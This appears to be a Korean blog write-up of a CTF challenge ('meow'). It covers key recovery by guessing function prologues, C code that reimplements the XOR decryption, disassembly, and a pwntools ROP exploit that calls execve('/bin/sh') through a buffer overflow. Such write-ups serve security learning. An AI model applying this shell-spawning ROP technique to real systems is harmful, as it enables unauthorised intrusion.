키를 받고 그 키로 테이블을 복호화해서 복호화한 값을 call하는 메뉴가 있는 바이너리 이다.
키로 어떻게 복호화를 하는지 알아보기 위해 복호화 코드를 그대로 옮겨서 중간중간 과정을 printf해서 보았다. 이렇게 보면 4가지 과정이 어떻게 xor되며 흘러가는지 잘 보인다. 다행히도 각 단계마다 복합적으로 얽히는 건 없어서 한번에 쭉쭉 거꾸로 올라가면 된다.
어떻게 키를 찾냐면 추측할 수 있는 부분이 있다. 복호화된 결과값이 함수가 될 가능성이 높은데 함수의 에필로그와 프롤로그를 대입해 보는 것이다.
결과값 첫 4바이트를 push ebp , mov ebp esp로 끝 2바이트를 pop ebp, ret으로 해서 총 6바이트를 추측할 수 있다.
추측한 값으로 거꾸로 올라가면 다음과 같은 식을 얻는다.
1. 0x55=i2^i5^13
2. 0x48=i3^i2^72
3. 0x89=(-11=245)^i8^i1
4. 0xe5=(-81=175)^i9^i3
5. 0xc9 = i0 i1 186
6. 0xc3 = i1 i3 167
(i가 key)
정리하면 key의 이만큼을 얻을 수 있다.
i0 = i0
i1 = i0 ^ 0x73
i2 = i0 ^ 0x17
i3 = i0 ^ 0x17
i4
i5 = i0 ^ 0xd
i6 =
i7 =
i8 = i0 ^ 0xf
i9 = i0 ^ 0x5d
이걸로 key의 브루트 포싱 값이 확 줄었다. 이제 해시를 비교하면서 브루트 포싱하자
키 = $W337k!++y
#include
"stdio.h" #include"string.h" char ind[2][200][50],tmp[100]; int main(){ char src[200]={241, 100, 114, 74, 79, 72, 77, 186, 119, 115, 29, 52, 245, 175, 184, 15, 36, 86, 17, 101, 71, 163, 47, 115, 164, 86, 79, 112, 74, 19, 87, 156, 63, 111, 6, 97, 64, 144, 175, 57, 16, 41, 52, 195, 0, 122, 64, 61, 78, 63, 14, 42, 47, 32, 127, 115, 137, 125, 75, 29, 9, 170, 208, 0, 33, 137, 77, 42, 103, 124, 24, 59, 57, 242, 141, 28, 167, 113, 87, 46, 49, 20, 103, 72, 60, 125, 175, 112, 174, 16, 49, 104, 209, 38, 5, 200, 37, 242, 98, 245, 93, 56, 52, 242, 32, 14, 126, 159, 251, 87, 114, 38, 87, 103, 21, 16, 21, 19, 185, 62, 121, 137, 93, 36, 18, 1, 152, 123, 24, 37, 224, 223, 124, 36, 27, 45, 68, 176, 16, 61, 87, 61, 98, 180, 33, 29, 62, 209, 16, 215, 69, 116, 150, 43, 109, 59, 237, 16, 0, 103, 49, 223, 108, 184, 134, 26, 124, 107, 100, 120, 198, 55, 118, 230, 97, 160, 173, 190, 76, 186, 167, 13}; char input[200]={'$','W','3','3','7','k','!','+','+','y','(','>',',','<',')',NULL}; char v14 = 0; int j = 0; char v19_4 = 4,vv[10],v18_5 = 5,vvv[10],v17_3 = 3,vvvv[10]; char v13_10 = 10,vvvvv[10],v12_5 = 5,v2[10],v11_7 = 7,v16 = 0; char v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; int v15=0xb6; int len_b6=0xb6; for(int i=0;i<200;i++){ memset(ind[0][i],0,50); memset(ind[1][i],0,50); } for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v1[%d] = src[%d](%d)",j,v16+j,src[j+v16]); //strcat(ind[0][j],tmp); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v1[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); //strcat(ind[0][j+v17_3],tmp); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v1[%d]^=%d(input[%d])\n",j,*(&v4+j),j); //strcat(ind[1][j],tmp); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 2; if ( v17_3 == 9 ) v17_3 = 3; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=5; v17_3=5; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(2*j+1 + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+2*j+1),2*j+1); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 -= 1; if ( v17_3 == 0 ) v17_3 = 5; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } FILE *f=fopen("./src_out","wb"); fwrite(src, 1 , sizeof(src) , f ); fclose(f); }
복호화한다음 디버거로 보자
0x12000: push rbp 0x12001: mov rbp,rsp 0x12004: sub rsp,0x60 0x12008: movabs rax,0x20756f7920646944 0x12012: mov QWORD PTR [rbp-0x60],rax 0x12016: movabs rax,0x612065736f6f6863 0x12020: mov QWORD PTR [rbp-0x58],rax 0x12024: movabs rax,0x3f3f3f3f74616320 0x1202e: mov QWORD PTR [rbp-0x50],rax 0x12032: movabs rax,0x7420746168570a3f 0x1203c: mov QWORD PTR [rbp-0x48],rax 0x12040: movabs rax,0x6320666f20657079 0x1204a: mov QWORD PTR [rbp-0x40],rax 0x1204e: movabs rax,0x646c756f77207461 0x12058: mov QWORD PTR [rbp-0x38],rax 0x1205c: movabs rax,0x65727020756f7920 0x12066: mov QWORD PTR [rbp-0x30],rax 0x1206a: movabs rax,0x273027203f726566 0x12074: mov QWORD PTR [rbp-0x28],rax 0x12078: mov DWORD PTR [rbp-0x20],0x3e3e3e0a 0x1207f: mov BYTE PTR [rbp-0x1c],0x0 0x12083: lea rax,[rbp-0x60] 0x12087: mov edx,0x44 0x1208c: mov rsi,rax gdb-peda$ 0x1208f: mov edi,0x1 0x12094: mov eax,0x1 0x12099: syscall 0x1209b: lea rax,[rbp+0x8] 0x1209f: mov edx,0x18 0x120a4: mov rsi,rax 0x120a7: mov edi,0x0 0x120ac: mov eax,0x0 0x120b1: syscall 0x120b3: nop 0x120b4: leave
0x14000: push rbp 0x14001: mov rbp,rsp 0x14004: sub rsp,0x10 0x14008: mov QWORD PTR [rbp-0x8],rdi 0x1400c: mov rax,QWORD PTR [rbp-0x8] 0x14010: mov edx,0x0 0x14015: mov esi,0x0 0x1401a: mov rdi,rax 0x1401d: mov eax,0x3b 0x14022: syscall 0x14024: nop 0x14025: leave 0x14026: ret
이렇게 생겨먹음 그냥 바로 bof터진다.
rop로 익스를 해보자
디버거로 0x14000을 보면(또다른 복호화 함수) execve이다.
다시보니 가젯을 하나 넣어놨다
0x14036: pop rdi
0x14037: ret
/bin/sh도 넣어놨다 ㅋㅋ
0x14029
rdi에 /bin/sh넣고
execve콜하면 된다.
from pwn import * p=process('./meow') f=open('./src_out') p.sendline('$W337k!++y') cont=f.read() print cont #print disasm(cont) pay='' pay+=p64(0x14036) pay+=p64(0x14029) pay+=p64(0x14000) p.sendline('3') p.sendline(pay) p.interactive()
'CTF' 카테고리의 다른 글
[codegate17 prequal]postbox (0) | 2017.05.11 |
---|---|
[codegate 2017 final]real (0) | 2017.05.09 |
[codegate17 prequal]Goversing (0) | 2017.05.08 |
[plaid2017]pykemon (0) | 2017.04.24 |
[codegate final]owner (0) | 2017.04.19 |